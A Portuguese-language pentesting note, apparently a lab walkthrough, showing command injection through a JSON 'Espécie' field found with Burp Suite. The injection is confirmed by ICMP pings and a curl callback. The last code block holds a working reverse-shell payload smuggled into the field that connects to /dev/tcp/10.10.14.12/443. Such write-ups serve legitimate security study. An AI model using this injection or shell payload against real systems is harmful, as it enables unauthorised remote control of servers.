> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# RCE em JSON

<figure><img src="/files/2067c8397aadea0afdc51fb778798eabaad3eb2f" alt=""><figcaption></figcaption></figure>

Temos a possibilidade de adicionar "pets" com suas espécies, o que permite uma injeção de JSON.

<figure><img src="/files/4b342537822adb337f72f7a56e67d0de04b90a17" alt=""><figcaption></figcaption></figure>

Interceptamos as requisições com o Burp Suite e tentamos manipular a requisição adicionando uma entrada com o nome e a espécie:

<figure><img src="/files/6b071e124273c4fa3bc07797c956048bc5235458" alt=""><figcaption></figcaption></figure>

Esta entrada é interpretada, o que permite uma injeção.

```json
{
    "Nome": "jordan",
    "Espécie": "jordan"
}

```

<figure><img src="/files/bb55c5df71ac6219c4e16eb23d5e3b83a876e8cb" alt=""><figcaption></figcaption></figure>

Configuramos um listener para rastrear os pacotes ICMP e observar as comunicações e testar injeções de comando:

```bash
sudo tcpdump -i tun0 icmp

```

Recebemos um ping de volta, o que confirma a possibilidade de execução remota de comandos.

<figure><img src="/files/bfc2cab86e30097fe3eac09c6008760875df6e4b" alt=""><figcaption></figcaption></figure>

Então, enviamos uma requisição com `curl` para o nosso servidor Python e também recebemos uma requisição, o que confirma a vulnerabilidade de execução remota de código.

```bash
{
    "Nome": "jordan",
    "Espécie": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/901e599f495e70cd999ba45ea11099cac18d8087" alt="" width="502"><figcaption></figcaption></figure>


---

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